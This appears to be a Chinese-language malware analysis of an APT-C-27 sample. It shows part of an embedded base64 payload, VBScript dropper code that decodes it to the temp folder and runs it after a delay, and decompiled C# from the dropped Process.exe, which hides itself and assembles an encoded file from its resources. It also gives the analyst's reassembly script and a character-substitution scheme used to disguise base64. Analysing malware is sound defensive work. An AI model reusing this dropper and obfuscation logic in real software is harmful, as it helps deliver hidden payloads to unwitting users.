AAAAAAAAAAAAAAAAAAAAAD//wAAKAAAABAAAAAgAAAAAQAgAAAAAABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/9vb2//b29v9CQkL/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/QkJC//b29v/29vb/QkJC//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w/0JCQv/29vb/9vb2/0JCQv/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P9CQkL/9vb2//b29v9CQkL/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/QkJC//b29v/29vb/QkJC//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w/0JCQv/29vb/9vb2/0JCQv/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P9CQkL/9vb2//b29v9CQkL/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/QkJC//b29v/29vb/QkJC//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w/0JCQv/29vb/9vb2/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/9vb2//b29v9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC//b29v/29vb/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAAKAAAACAAAABAAAAAAQAEAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////////////////////////////////93d3d3d3d3d3d3d3d3d///d3d3d3d3d3d3d3d3d3f//3f///////////////93//93////////////////d///d////////////////3f//3f///////////////93//93////////////////d///d////////////////3f//3f///////////////93//93////////////////d///d////////////////3f//3f///////////////93//93////////////////d///d////////////////3f//3f///////////////93//93////////////////d///d////////////////3f//3d3d3d3d3d3d3d3d3d3//93d3d3d3d3d3d3d3d3d///d3d3d3d3d3d3d3d3d3f//3d3d3d3d3d3d3d3d3d3//93d3d3d3d3d3d3d3d3d///d3d3d3d3d3d3d3d3d3f///////////////////////////////////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//////////KAAAACAAAABAAAAAAQAIAAAAAAAABAAAAAAAAAAAAAAAAQAAAAEAAAAAAABCQkIA8e/wAPb29gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAwMDAwEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEDAwMDAQECAgICAgICAgICAgICAgICAgICAgICAgIBAQMDAwMBAQICAgICAgICAgICAgICAgICAgICAgICAgEBAwMDAwEBAgICAgICAgICAgICAgICAgICAgICAgICAQEDAwMDAQECAgICAgICAgICAgICAgICAgICAgICAgIBAQMDAwMBAQICAgICAgICAgICAgICAgICAgICAgICAgEBAwMDAwEBAgICAgICAgICAgICAgICAgICAgICAgICAQEDAwMDAQECAgICAgICAgICAgICAgICAgICAgICAgIBAQMDAwMBAQICAgICAgICAgICAgICAgICAgICAgICAgEBAwMDAwEBAgICAgICAgICAgICAgICAgICAgICAgICAQEDAwMDAQECAgICAgICAgICAgICAgICAgICAgICAgIBAQMDAwMBAQICAgICAgICAgICAgICAgICAgICAgICAgEBAwMDAwEBAgICAgICAgICAgICAgICAgICAgICAgICAQEDAwMDAQECAgICAgICAgICAgICAgICAgICAgICAgIBAQMDAwMBAQICAgICAgICAgICAgICAgICAgICAgICAgEBAwMDAwEBAgICAgICAgICAgICAgICAgICAgICAgICAQEDAwMDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQMDAwMBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAwMDAwEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEDAwMDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQMDAwMBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAwMDAwEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////8oAAAAIAAAAEAAAAABACAAAAAAAIAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC//b29v/29vb/9vb2//b29v9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/9vb2//b29v/29vb/9vb2/0JCQv9CQkL/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/QkJC/0JCQv/29vb/9vb2//b29v/29vb/QkJC/0JCQv/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P9CQkL/QkJC//b29v/29vb/9vb2//b29v9CQkL/QkJC//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w/0JCQv9CQkL/9vb2//b29v/29vb/9vb2/0JCQv9CQkL/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/QkJC/0JCQv/29vb/9vb2//b29v/29vb/QkJC/0JCQv/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P9CQkL/QkJC//b29v/29vb/9vb2//b29v9CQkL/QkJC//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w/0JCQv9CQkL/9vb2//b29v/29vb/9vb2/0JCQv9CQkL/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/QkJC/0JCQv/29vb/9vb2//b29v/29vb/QkJC/0JCQv/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P9CQkL/QkJC//b29v/29vb/9vb2//b29v9CQkL/QkJC//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w/0JCQv9CQkL/9vb2//b29v/29vb/9vb2/0JCQv9CQkL/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/QkJC/0JCQv/29vb/9vb2//b29v/29vb/QkJC/0JCQv/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P9CQkL/QkJC//b29v/29vb/9vb2//b29v9CQkL/QkJC//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w/0JCQv9CQkL/9vb2//b29v/29vb/9vb2/0JCQv9CQkL/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/QkJC/0JCQv/29vb/9vb2//b29v/29vb/QkJC/0JCQv/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P9CQkL/QkJC//b29v/29vb/9vb2//b29v9CQkL/QkJC//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w//Hv8P/x7/D/8e/w/0JCQv9CQkL/9vb2//b29v/29vb/9vb2/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv/29vb/9vb2//b29v/29vb/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC//b29v/29vb/9vb2//b29v9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/9vb2//b29v/29vb/9vb2/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv/29vb/9vb2//b29v/29vb/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC//b29v/29vb/9vb2//b29v9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/QkJC/0JCQv9CQkL/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/29vb/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//////////AAABAAYAEBAQAAEABAAoAQAAAgAQEAAAAQAIAGgFAAADABAQAAABACAAaAQAAAQAICAQAAEABADoAgAABQAgIAAAAQAIAKgIAAAGACAgAAABACAAqBAAAAcAAAAAAAAA77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0KPGFzc2VtYmx5IHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgbWFuaWZlc3RWZXJzaW9uPSIxLjAiPg0KICA8YXNzZW1ibHlJZGVudGl0eSB2ZXJzaW9uPSIxLjAuMC4wIiBuYW1lPSJNeUFwcGxpY2F0aW9uLmFwcCIvPg0KICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MiI+DQogICAgPHNlY3VyaXR5Pg0KICAgICAgPHJlcXVlc3RlZFByaXZpbGVnZXMgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIvPg0KICAgICAgPC9yZXF1ZXN0ZWRQcml2aWxlZ2VzPg0KICAgIDwvc2VjdXJpdHk+DQogIDwvdHJ1c3RJbmZvPg0KPC9hc3NlbWJseT4NCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHABAAwAAADQOwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"
    set g = createobject(tx1)
    h = g.ExpandEnvironmentStrings(tx2)
    Set a = CreateObject(tx3).CreateElement(tx4)
    a.dataType = tx6
    a.text = tx9
    Set s = CreateObject(tx5)
    s.Type = 1
    s.Open
    s.Write a.nodeTypedValue
    s.SaveToFile h & tx7,2
    wscript.sleep(%sleep%000)
    g.run(h & tx8)
    vbs
    Function RepBase64(x)
    x = Replace(x, \"AAAA\", \"升\")
    RepBase64 =  x  
    End Function

把tx9这段抠出来base64解码 此文件就是Process.exe

Process.exe

File: Process.exe
SHA1: b21969d37f3feabbf783a8592a2e930adb7e2d7f
MD5: ec69819462f2c844255248bb90cae801

看文件结构跟上一个差不多

namespace WriteString
{
    [DesignerGenerated]
    public class Form1 : Form
    {
        public Form1()
        {
            base.Load += this.Form1_Load;
            Form1.__ENCAddToList(this);
            this.tmp = MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\1717.txt";
            this.InitializeComponent();
        }
        [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
        private void Form1_Load(object sender, EventArgs e)
        {
            this.Hide();
            this.ShowIcon = false;
            this.ShowInTaskbar = false;
            this.Opacity = 0.0;
            bool flag = MyProject.Computer.FileSystem.FileExists(this.tmp);
            if (flag)
            {
                MyProject.Computer.FileSystem.DeleteFile(this.tmp);
                MyProject.Computer.FileSystem.WriteAllText(this.tmp, this.str(""), true);
            }
            else
            {
                MyProject.Computer.FileSystem.WriteAllText(this.tmp, this.str(""), true);
            }
            ProjectData.EndApp();
        }
        public string str(string x)//资源拼接
        {
            string <<EMPTY_NAME>> = Resources._1;
            string 2 = Resources._2;
            string 3 = Resources._3;
            string 4 = Resources._4;
            string 5 = Resources._5;
            string 6 = Resources._6;
            string 7 = Resources._7;
            string 8 = Resources._8;
            string 9 = Resources._9;
            return string.Concat(new string[]
            {
                <<EMPTY_NAME>>,2,3,4,5,6,7,8,9
            });
        }
namespace WriteString.My.Resources
{
    [DebuggerNonUserCode]
    [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
    [StandardModule]
    [HideModuleName]
    [CompilerGenerated]
    internal sealed class Resources
    {
        [EditorBrowsable(EditorBrowsableState.Advanced)]
        internal static ResourceManager ResourceManager
        {
            get
            {
                bool flag = object.ReferenceEquals(Resources.resourceMan, null);
                if (flag)
                {
                    ResourceManager resourceManager = new ResourceManager("WriteString.Resources", typeof(Resources).Assembly);
                    Resources.resourceMan = resourceManager;
                }
                return Resources.resourceMan;
            }
        }

拼接Resources.1–Resources.9 得出1717.txt

使用以下脚本

tmp_data = b''
for i in range(9):
    with open('D:/samples/vir/APT-C-27/1/_%d' % (i + 1), 'rb') as f:
        tmp_data += f.read()
with open('1717.txt', 'wb') as f:
    f.write(tmp_data)

1717.txt解码

RepBase64(x)

public string RepBase64(string x)
{
    x = Strings.Replace(x, "升", "AAAA", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "丁", "B", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "읍", "C", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "알", "D", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "앞", "E", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "巨", "F", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "얘", "G", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "下", "H", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "ᄍ", "I", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "工", "J", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "ᄊ", "K", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "三", "L", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "ᄈ", "M", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "水", "N", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "응", "O", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "心", "P", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "앙", "Q", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "冊", "R", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "음", "S", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "內", "T", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "ד", "U", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "官", "V", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "악", "W", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "匹", "X", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "안", "Y", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "力", "Z", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "月", "a", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "을", "b", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "ސ", "c", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "임", "d", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "戶", "e", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "잎", "f", 1, -1, CompareMethod.Binary);
    x = Strings.Replace(x, "已", "g", 1, -1, CompareMethod.Binary);
